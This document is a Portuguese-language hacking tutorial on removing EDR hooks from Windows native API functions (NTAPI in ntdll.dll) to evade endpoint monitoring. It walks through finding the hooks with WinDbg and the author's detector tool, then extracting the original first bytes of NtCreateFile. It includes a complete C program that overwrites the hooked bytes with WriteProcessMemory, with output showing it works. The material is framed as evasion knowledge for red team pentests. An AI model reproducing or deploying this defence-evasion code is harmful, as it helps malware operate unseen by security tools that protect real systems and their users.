.

.

Unhooking Windows API para burlar EDR's

Autor: @mrempy

                  ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⠴⠶⠶⠶⠶⠶⠶⠶⠶⢤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⢀⣤⠶⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠶⣤⡀⠀⠀⠀⠀⠀
                  ⠀⠀⢀⡴⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢷⡄⠀⠀⠀
                  ⠀⣰⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀
                  ⢰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣧⠀
                  ⣿⠀⠀⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡄⠀⢹⡄
                  ⡏⠀⢰⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⢸⡇
                  ⣿⠀⠘⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡟⠀⢸⡇
                  ⢹⡆⠀⢹⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⣾⠀
                  ⠈⢷⡀⢸⡇⠀⢀⣠⣤⣶⣶⣶⣤⡀⠀⠀⠀⠀⠀⢀⣠⣶⣶⣶⣶⣤⣄⠀⠀⣿⠀⠀
                  ⠀⠈⢷⣼⠃⠀⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⠀⠀
                  ⠀⠀⠈⣿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⠃⠀⢸⡇⠀⠀⠀
                  ⠀⠀⠀⣿⠀⠀⠘⢿⣿⣿⣿⣿⡿⠃⠀⢠⠀⣄⠀⠀⠙⢿⣿⣿⣿⡿⠏⠀⠀⢘⡇⠀⠀⠀
                  ⠀⠀⠀⢻⡄⠀⠀⠀⠈⠉⠉⠀⠀⠀⣴⣿⠀⣿⣷⠀⠀⠀⠀⠉⠁⠀⠀⠀⠀⢸⡇⠀⠀⠀
                  ⠀⠀⠀⠈⠻⣄⡀⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠘⣟⠳⣦⡀⠀⠀⠀⠸⣿⡿⠀⢻⣿⡟⠀⠀⠀⠀⣤⡾⢻⡏⠁⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠀⢻⡄⢻⠻⣆⠀⠀⠀⠈⠀⠀⠀⠈⠀⠀⠀⢀⡾⢻⠁⢸⠁⠀⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠀⢸⡇⠀⡆⢹⠒⡦⢤⠤⡤⢤⢤⡤⣤⠤⡔⡿⢁⡇⡿⠀⠀⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠀⠘⡇⠀⢣⢸⠦⣧⣼⣀⡇⢸⢀⣇⣸⣠⡷⢇⢸⠀⡇⠀⠀⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠀⠀⣷⠀⠈⠺⣄⣇⢸⠉⡏⢹⠉⡏⢹⢀⣧⠾⠋⢠⡇⠀⠀⠀~ Se você deseja acalmar um EDR, crie e ofereça
                  ⠀⠀⠀⠀⠀⠀⠀⠀⠙⢷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡴⠛⠁⠀⠀⠀⠀ o seu doce mais saboroso. Quanto mais doce, melhor
                  ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠳⠶⠦⣤⣤⣤⡤⠶⠞⠋⠁⠀⠀⠀⠀⠀⠀ será o seu sabor e mais eficaz será para acalma-lo.





            ▓▓▓▓▓▓        ▓▓▓▓▓▓      ▓▓▓▓▓▓▓▓    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓    ▓▓▓▓    
          ▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓  
          ▓▓▒▒  ▒▒▒▒▒▒▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒    ▒▒▒▒▒▒▒▒          ▒▒▒▒▒▒▒▒▒▒▓▓  
          ▓▓▒▒                           Sumário                      ▒▒▓▓  
          ▓▓▒▒                                                        ▒▒▓▓  
            ▓▓▒▒                     1. Introdução                    ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓  
          ▓▓▓▓▒▒                                                      ▒▒▓▓  
          ▓▓▒▒                     2. O que é Hook?                   ▒▒▓▓▓▓
          ▓▓▒▒                                                          ▒▒▓▓
          ▓▓▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                3. Como Funciona o Hook?              ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓  
            ▓▓▓▓▒▒                                                    ▒▒▓▓  
            ▓▓▒▒                                                      ▒▒▓▓  
            ▓▓▓▓▒▒               4. Detectando os Hooks               ▒▒▓▓▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                   5. Os Cincos Bytes                   ▒▒▓▓
            ▓▓▒▒                                                      ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▒▒  
            ▓▓▒▒                                                      ▒▒▒▒  
          ▓▓▓▓▒▒                 6. Unhooking uma API                 ▒▒▒▒  
          ▓▓▒▒                                                        ▒▒▓▓  
          ▓▓▓▓▒▒                                                      ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓
            ▓▓▒▒                7. Agradecimentos Finais              ▒▒▓▓
          ▓▓▓▓▒▒                                                        ▒▒▓▓
          ▓▓▓▓▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒    ▒▒▒▒▒▒    ▒▒▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒  ▒▒▓▓
            ▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓  
                ▓▓▓▓▓▓        ▓▓▓▓▓▓    ▓▓▓▓▓▓      ▓▓▓▓      ▓▓▓▓▓▓▓▓▓▓  

        
        ╔══════════════════╗
        ║    Introdução    ║
        ╚══════════════════╝

        Ao longo dos anos, empresas que desenvolvem mecanismos de seguranças contra ameaças vem modernizando suas soluções. Atualmente,
        muitas empresas protegem suas redes com mecanismos como Antivírus (AV) e Endpoint Detection and Response (EDR). Enquanto há um
        lado que almeja protege-se contra ameaças, há um outro lado que almeja quebrar a proteção contra ameaças, desenvolvendo inúmeras
        técnicas para atingir o seus objetivos.

        Uma das técnicas usadas para burlar EDR's é conhecida como "Unhooking Windows API's".

    
        ╔═════════════════════════╗
        ║      O que é Hook?      ║
        ╚═════════════════════════╝

        Em programação, "Hook" refere-se à técnica de interceptar ou substituir o comportamento de uma função ou método por meio de hooks
        para fins de modificação ou monitoramento. Isso geralmente é feito em nível de sistema operacional ou em aplicativos para
        alterar o fluxo normal de execução de determinadas funcionalidades.


        ╔═════════════════════════════════╗
        ║      Como funciona o Hook?      ║
        ╚═════════════════════════════════╝

        A maioria dos sistemas EDR's usa hooks para detectar ações maliciosas, com foco principal em API's Nativas do Windows, conhecidas
        como NTAPI. As API's Nativas do Windows é usada principalmente no desenvolvimento de componentes internos do sistema operacional,
        como drivers de dispositivo, subsistemas e serviços de sistema. Ela é implementada na biblioteca ntdll.dll (NT Layer DLL) e oferece
        funcionalidades de baixo nível para gerenciamento de processos, manipulação de memória, acesso a arquivos e registros, controle de
        serviços, comunicação entre processos e muito mais.

        Muitos executáveis maliciosos fazem uso das principais API's nativas que são extensivamente monitoradas pelos sistemas EDR:

        * NtAllocateVirtualMemory
        * NtCreateThread(Ex)
        * NtOpenProcess
        * NtProtectVirtualMemory
        * NtReadVirtualMemory
        * NtWriteVirtualMemory
        

        ╔═══════════════════════════════╗
        ║      Detectando os Hooks      ║
        ╚═══════════════════════════════╝

        A ferramenta de depuração da Microsoft conhecida como WinDbg é uma ótima ferramenta para detectar se algum programa em execução
        está sendo ganchado. Você pode baixa-lo a partir do link abaixo:

        https://learn.microsoft.com/pt-br/windows-hardware/drivers/debugger/debugger-download-tools

        Execute o WinDbg e clique em "File > Open Executable...". Um prompt chamado "Command" irá aparecer e por ele você vai verificar o estado
        de uma API nativa do Windows. Irei usar a NTAPI NtCreateFile como exemplo para esse cenário.

        Para ver o estado da NTAPI, digite "u NtCreateFile". O resultado tem que ser quase igual a esse:

        ╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
        ║ Microsoft (R) Windows Debugger Version 10.0.22621.755 AMD64                                                 ║
        ║ Copyright (c) Microsoft Corporation. All rights reserved.                                                   ║
        ║                                                                                                             ║
        ║ CommandLine: C:\Users\MrEmpy\MyProgram.exe                                                                  ║
        ║                                                                                                             ║
        ║ ************* Path validation summary **************                                                        ║
        ║ Response                         Time (ms)     Location                                                     ║
        ║ Deferred                                       srv*                                                         ║
        ║ Symbol search path is: srv*                                                                                 ║
        ║ Executable search path is:                                                                                  ║
        ║ ModLoad: 00007ff6`7d230000 00007ff6`7d259000   MyProgram.exe                                                ║
        ║ ModLoad: 00007ffe`244d0000 00007ffe`246c8000   ntdll.dll                                                    ║
        ║ ModLoad: 00007ffe`23bb0000 00007ffe`23c6f000   C:\Windows\System32\KERNEL32.DLL                             ║
        ║ ModLoad: 00007ffe`22180000 00007ffe`22476000   C:\Windows\System32\KERNELBASE.dll                           ║
        ║ ModLoad: 00007ffe`1f420000 00007ffe`1f4b1000   C:\Windows\SYSTEM32\apphelp.dll                              ║
        ║ ModLoad: 00007ffe`238c0000 00007ffe`2396f000   C:\Windows\System32\ADVAPI32.dll                             ║
        ║ ModLoad: 00007ffe`23340000 00007ffe`233de000   C:\Windows\System32\msvcrt.dll                               ║
        ║ ModLoad: 00007ffe`22bd0000 00007ffe`22c6c000   C:\Windows\System32\sechost.dll                              ║
        ║ ModLoad: 00007ffe`22aa0000 00007ffe`22bc6000   C:\Windows\System32\RPCRT4.dll                               ║
        ║ (4698.3d60): Break instruction exception - code 80000003 (first chance)                                     ║
        ║ ntdll!LdrpDoDebuggerBreak+0x30:                                                                             ║
        ║ 00007ffe`245a0910 cc              int     3                                                                 ║
        ║ 0:000> u NtCreateFile                               <-------------------------- Comando enviado             ║
        ║ ntdll!NtCreateFile:                                 <-------------------------- Resultado                   ║
        ║ 00007ffe`2456daf0 4c8bd1          mov     r10,rcx                                                           ║
        ║ 00007ffe`2456daf3 b855000000      mov     eax,55h                                                           ║
        ║ 00007ffe`2456daf8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1            ║
        ║ 00007ffe`2456db00 7503            jne     ntdll!NtCreateFile+0x15 (00007ffe`2456db05)                       ║
        ║ 00007ffe`2456db02 0f05            syscall                                                                   ║
        ║ 00007ffe`2456db04 c3              ret                                                                       ║
        ║ 00007ffe`2456db05 cd2e            int     2Eh                                                               ║
        ║ 00007ffe`2456db07 c3              ret                                                                       ║
        ╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

        Se houver algum hook na NTAPI, a resultado será parecido com esse:

        ╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
        ║ Microsoft (R) Windows Debugger Version 10.0.22621.755 AMD64                                                 ║
        ║ Copyright (c) Microsoft Corporation. All rights reserved.                                                   ║
        ║                                                                                                             ║
        ║ CommandLine: C:\Users\MrEmpy\MyProgram.exe                                                                  ║
        ║                                                                                                             ║
        ║ ************* Path validation summary **************                                                        ║
        ║ Response                         Time (ms)     Location                                                     ║
        ║ Deferred                                       srv*                                                         ║
        ║ Symbol search path is: srv*                                                                                 ║
        ║ Executable search path is:                                                                                  ║
        ║ ModLoad: 00007ff6`7d230000 00007ff6`7d259000   MyProgram.exe                                                ║
        ║ ModLoad: 00007ffe`244d0000 00007ffe`246c8000   ntdll.dll                                                    ║
        ║ ModLoad: 00007ffe`23bb0000 00007ffe`23c6f000   C:\Windows\System32\KERNEL32.DLL                             ║
        ║ ModLoad: 00007ffe`22180000 00007ffe`22476000   C:\Windows\System32\KERNELBASE.dll                           ║
        ║ ModLoad: 00007ffe`1f420000 00007ffe`1f4b1000   C:\Windows\SYSTEM32\apphelp.dll                              ║
        ║ ModLoad: 00007ffe`238c0000 00007ffe`2396f000   C:\Windows\System32\ADVAPI32.dll                             ║
        ║ ModLoad: 00007ffe`22aa0000 00007ffe`22bc4000   C:\Windows\System32\EDRAgent.dll   <------ DLL do EDR        ║
        ║ ModLoad: 00007ffe`23340000 00007ffe`233de000   C:\Windows\System32\msvcrt.dll                               ║
        ║ ModLoad: 00007ffe`22bd0000 00007ffe`22c6c000   C:\Windows\System32\sechost.dll                              ║
        ║ ModLoad: 00007ffe`22aa0000 00007ffe`22bc6000   C:\Windows\System32\RPCRT4.dll                               ║
        ║ (4698.3d60): Break instruction exception - code 80000003 (first chance)                                     ║
        ║ ntdll!LdrpDoDebuggerBreak+0x30:                                                                             ║
        ║ 00007ffe`245a0910 cc              int     3                                                                 ║
        ║ 0:000> u NtCreateFile                               <-------------------------- Comando enviado             ║
        ║ ntdll!NtCreateFile:                                 <-------------------------- Resultado diferente         ║
        ║ 00007ffe`2456daf0 4c8bd1          jmp     80000003  <-------------------------- Pulo para um endereço       ║
        ║ 00007ffe`2456daf3 b855000000      add     byte ptr [rax],al                                                 ║
        ║ 00007ffe`2456daf3 b855000000      add     byte ptr [rdi],cl                                                 ║
        ╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

        Eu desenvolvi uma ferramenta simples para detectar todas as NTAPI's que estão sendo ganchadas ao executar o programa. Ela é
        útil para saber quais NTAPI's estão sendo ganchadas pelo EDR, pois ela verifica todas.

        Repositório:

        https://github.com/MrEmpy/APIHookingDetector

        Você pode baixar a versão compilada estática seguindo o link abaixo:

        https://github.com/MrEmpy/APIHookingDetector/releases

        Exemplo de execução:

        ╔═══════════════════════════════════════════════════════════════════════════════════════════╗
        ║ PS C:> .\Detector.exe -o output.txt                                                       ║
        ║                                                                                           ║
        ║                                                                                           ║
        ║    _   ___ ___   _  _          _   _             ___      _          _                    ║
        ║   /_\ | _ \_ _| | || |___  ___| |_(_)_ _  __ _  |   \ ___| |_ ___ __| |_ ___ _ _          ║
        ║  / _ \|  _/| |  | __ / _ \/ _ \ / / | ' \/ _` | | |) / -_)  _/ -_) _|  _/ _ \ '_|         ║
        ║ /_/ \_\_| |___| |_||_\___/\___/_\_\_|_||_\__, | |___/\___|\__\___\__|\__\___/_|           ║
        ║                                          |___/                                            ║
        ║                                                                                           ║
        ║                                    [Coded by MrEmpy]                                      ║
        ║                                                                                           ║
        ║ [*] NT API being hooked:                                                                  ║
        ║ ========================================================================================= ║
        ║ [-] NtAllocateVirtualMemory [0xXXXXXXXX != 0xXXXXXXXX]                                    ║
        ║ [-] NtOpenProcess [0xXXXXXXXX != 0xXXXXXXXX]                                              ║
        ║ [-] NtWriteVirtualMemory [0xXXXXXXXX != 0xXXXXXXXX]                                       ║
        ║ ...                                                                                       ║
        ╚═══════════════════════════════════════════════════════════════════════════════════════════╝

        Para remover o hook da DLL do EDR no processo, é preciso substituir os 5 primeiros bytes através do endereço de memória da NTAPI.


        ╔═════════════════════════╗
        ║     Os Cincos Bytes     ║
        ╚═════════════════════════╝

        Os cincos bytes de uma NTAPI são as instruções que tem como propósito definir a função da NTAPI. Elas são compostas por:

        0x4C 0x8B 0xD1 0xB8 0xXX
        ------------------- ----
        seguimento padrão   syscall

        Os quatros primeiros bytes são padrões nos sistemas operacionais Windows, pode haver algum alteração pequena, mas nas versões
        recentes são compostas por esse seguimento de bytes.

        O último byte é a syscall de uma API do sistema Windows, que ficará responsável por definir o que de fato a API é.

        Usando a ferramenta CFF Explorer do Explorer Suite, é possível obter os cincos primeiros bytes de uma NTAPI através do seu
        endereço virtual relativo, conhecido como RVA.

        Site da ferramenta: https://ntcore.com/?page_id=345

        Siga os passos:
        1 - Abra o CFF Explorer e vá para "File > Open" e coloque o caminho da NTDLL (C:/Windows/System32/ntdll.dll).

        2 - Clique em "Export Directory" e procure pelo nome da NTAPI que deseja em "name". No meu caso o RVA é 0009DAF0.

        3 - Clique em "Address Converter" e no campo "RVA" cole o endereço RVA da NTAPI que você escolheu.

        0009DAF0 | 4C 8B D1 B8 55 00 00 00 F6 04 25 08 03 FE 7F 01
                   --------------
                   os cincos bytes

        Esses são os cincos bytes da NTAPI NtCreateFile na versão do meu sistema Windows.

        Salve os seus cincos bytes extraídos em algum lugar.


        ╔══════════════════════════════╗
        ║       Unhooking uma API      ║
        ╚══════════════════════════════╝

        Para desengatar o hook, é necessário escrever na memória do processo os cincos bytes originais no endereço de memória da NTAPI.
        Para essa tarefa, iremos utilizar a API do Windows conhecida como WriteProcessMemory em um código C.

        O código abaixo é a implementação de WriteProcessMemory para corrigir o hook para voltar a rotina padrão da NTAPI:

        Definição de NtCreateFile
        ╔════════════════════════════════════════════════════════╗
        ║  typedef NTSTATUS(WINAPI* SysNtCreateFile)(            ║
        ║      PHANDLE FileHandle,                               ║
        ║      ACCESS_MASK DesiredAccess,                        ║
        ║      POBJECT_ATTRIBUTES ObjectAttributes,              ║
        ║      PIO_STATUS_BLOCK IoStatusBlock,                   ║
        ║      PLARGE_INTEGER AllocationSize,                    ║
        ║      ULONG FileAttributes,                             ║
        ║      ULONG ShareAccess,                                ║
        ║      ULONG CreateDisposition,                          ║
        ║      ULONG CreateOptions,                              ║
        ║      PVOID EaBuffer,                                   ║
        ║      ULONG EaLength                                    ║
        ║  );                                                    ║
        ╚════════════════════════════════════════════════════════╝

        Sobrescrita de bytes
        ╔═════════════════════════════════════════════════════════════════════════════════════════╗
        ║ HMODULE ntdll = GetModuleHandleA("ntdll");                                              ║
        ║ SysNtCreateFile NtCreateFile = (SysNtCreateFile)GetProcAddress(ntdll, "NtCreateFile");  ║
        ║                                                                                         ║
        ║ HANDLE currentProc = GetCurrentProcess();                                               ║
        ║ WriteProcessMemory(currentProc, NtCreateFile, "\x4C\x8B\xD1\xB8\x55", 6, NULL);         ║
        ╚═════════════════════════════════════════════════════════════════════════════════════════╝

        Enquanto o programa não passar pela função "WriteProcessMemory", a NTAPI NtCreateFile estará sendo engatada e monitorada pelo EDR.
        A partir do momento que o programa passar da função "WriteProcessMemory", a NTAPI será restaurada ao padrão e não haverá um hook
        sobre ela, resultando em um desengate de API do Windows.

        O código abaixo representa o código completo do meu programa que irá desengatar o hook da NTAPI NtCreateFile:

        ╔════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
        ║  #include <.Windows.h>                                                                                     ║
        ║  #include <.stdio.h>                                                                                       ║
        ║  #include "winternl.h"                                                                                     ║
        ║  #pragma comment(lib, "ntdll")                                                                             ║
        ║                                                                                                            ║
        ║  #define NT_SUCCESS(x) ((x) >= 0)                                                                          ║
        ║                                                                                                            ║
        ║  typedef NTSTATUS(WINAPI* SysNtCreateFile)(                                                                ║
        ║    PHANDLE FileHandle,                                                                                     ║
        ║    ACCESS_MASK DesiredAccess,                                                                              ║
        ║    POBJECT_ATTRIBUTES ObjectAttributes,                                                                    ║
        ║    PIO_STATUS_BLOCK IoStatusBlock,                                                                         ║
        ║    PLARGE_INTEGER AllocationSize,                                                                          ║
        ║    ULONG FileAttributes,                                                                                   ║
        ║    ULONG ShareAccess,                                                                                      ║
        ║    ULONG CreateDisposition,                                                                                ║
        ║    ULONG CreateOptions,                                                                                    ║
        ║    PVOID EaBuffer,                                                                                         ║
        ║    ULONG EaLength                                                                                          ║
        ║  );                                                                                                        ║
        ║                                                                                                            ║
        ║    //==================================[EDR está monitorando]=================================             ║
        ║  int main()                                                                                                ║
        ║  {                                                                                                         ║
        ║    HMODULE ntdll = GetModuleHandleA("ntdll");                                                              ║
        ║    SysNtCreateFile NtCreateFile = (SysNtCreateFile)GetProcAddress(ntdll, "NtCreateFile");                  ║
        ║    if (NtCreateFile == NULL) {                                                                             ║
        ║      puts("[-] Nao foi possivel obter o endereço da função NtCreateFile");                                 ║
        ║      return 1;                                                                                             ║
        ║    }                                                                                                       ║
        ║                                                                                                            ║
        ║    HANDLE currentProc = GetCurrentProcess();                                                               ║
        ║    //=============================[EDR está monitorando até aqui]=============================             ║
        ║                                                                                                            ║
        ║    WriteProcessMemory(currentProc, NtCreateFile, "\x4C\x8B\xD1\xB8\x55", 6, NULL); // NTAPI desengatada    ║
        ║                                                                                                            ║
        ║                                                                                                            ║
        ║    //=============================[EDR não está monitorando mais]=============================             ║
        ║    HANDLE fileHandle;                                                                                      ║
        ║    OBJECT_ATTRIBUTES objectAttributes;                                                                     ║
        ║    IO_STATUS_BLOCK ioStatusBlock;                                                                          ║
        ║    UNICODE_STRING fileName;                                                                                ║
        ║                                                                                                            ║
        ║    RtlInitUnicodeString(&fileName, L"\\??\\C:\\Users\\Public\\openme.txt");                                ║
        ║    InitializeObjectAttributes(&objectAttributes, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);             ║
        ║                                                                                                            ║
        ║    NTSTATUS status;                                                                                        ║
        ║    if (!NT_SUCCESS(status = NtCreateFile(                                                                  ║
        ║      &fileHandle,                                                                                          ║
        ║      FILE_GENERIC_WRITE,                                                                                   ║
        ║      &objectAttributes,                                                                                    ║
        ║      &ioStatusBlock,                                                                                       ║
        ║      0,                                                                                                    ║
        ║      FILE_ATTRIBUTE_NORMAL,                                                                                ║
        ║      FILE_SHARE_WRITE,                                                                                     ║
        ║      FILE_OVERWRITE_IF,                                                                                    ║
        ║      FILE_SYNCHRONOUS_IO_NONALERT,                                                                         ║
        ║      NULL,                                                                                                 ║
        ║      0))) {                                                                                                ║
        ║      puts("[-] Nao foi possivel criar o arquivo");                                                         ║
        ║    }                                                                                                       ║
        ║    else {                                                                                                  ║
        ║      puts("[+] Arquivo criado");                                                                           ║
        ║    }                                                                                                       ║
        ║      return 0;                                                                                             ║
        ║  }                                                                                                         ║
        ╚════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
        * https://github.com/AmoloHT/PapersArchives/tree/main/unhooking-winapi-to-bypass-edrs

        Em seu código, experimente trocar o último byte para qualquer outro e execute seu programa.

        Exemplo: "\x4C\x8B\xD1\xB8\x55" -> "\x4C\x8B\xD1\xB8\x01"

        O seu programa não conseguirá prosseguir, pois você trocou para uma syscall diferente da que você realmente adicionou.

        Meu exemplo após o último byte está correto:
        ╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
        ║ [+] Arquivo criado                                                                                                  ║
        ║                                                                                                                     ║
        ║ O C:\Users\MrEmpy\source\repos\Unhooking\x64\Release\Unhooking.exe (processo 1536) foi encerrado com o código 0.    ║
        ║ Pressione qualquer tecla para fechar esta janela...                                                                 ║
        ╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

        Meu exemplo após o último byte está incorreto:
        ╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
        ║ [-] Nao foi possivel criar o arquivo                                                                                ║
        ║                                                                                                                     ║
        ║ O C:\Users\MrEmpy\source\repos\Unhooking\x64\Release\Unhooking.exe (processo 1536) foi encerrado com o código 0.    ║
        ║ Pressione qualquer tecla para fechar esta janela...                                                                 ║
        ╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝


        Uma simples implementação da API WriteProcessMemory pode ser capaz de mudar a rotina de um programa que está sendo ganchado.


        ╔═════════════════════════════╗
        ║    Agradecimentos Finais    ║
        ╚═════════════════════════════╝

        Muito obrigado a todos que chegaram até aqui, esse é um assunto que está sendo bem abordado atualmente dentro do hacking e é
        valioso ter esse conhecimento privilegiado sobre evasão. Esse assunto virou um requisito para quem trabalha com red team e
        sempre precisa encarar um EDR em um pentest interno.

        Quero agradeçer também a todos os integrantes da Amolo Hunters por fazerem parte dessa equipe. Esse foi nosso primeiro
        aniversário e é muito gratificante estar com toda a equipe durante esse um ano.

        Agradeço também a todos que acompanha todos os nossos conteúdos postados aqui e nas redes sociais.

        É um prazer estar com todos vocês <3.

                            _--_
                            /   -)
                        ___/___|___
           ____-----=~~///|     ||||~~~==-----_____
         //~////////////~/|     |//|||||\\\\\\\\\\\\\
       ////////////////////|   |///////|\\\\\\\\\\\\\\\
      /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\
     //~                  /\\|\\                      ~\\
                         ///W^\W\
                        ////|||\\\
                        ~~~~~~~~~~     

              Feliz Aniversário Amolo Hunters!!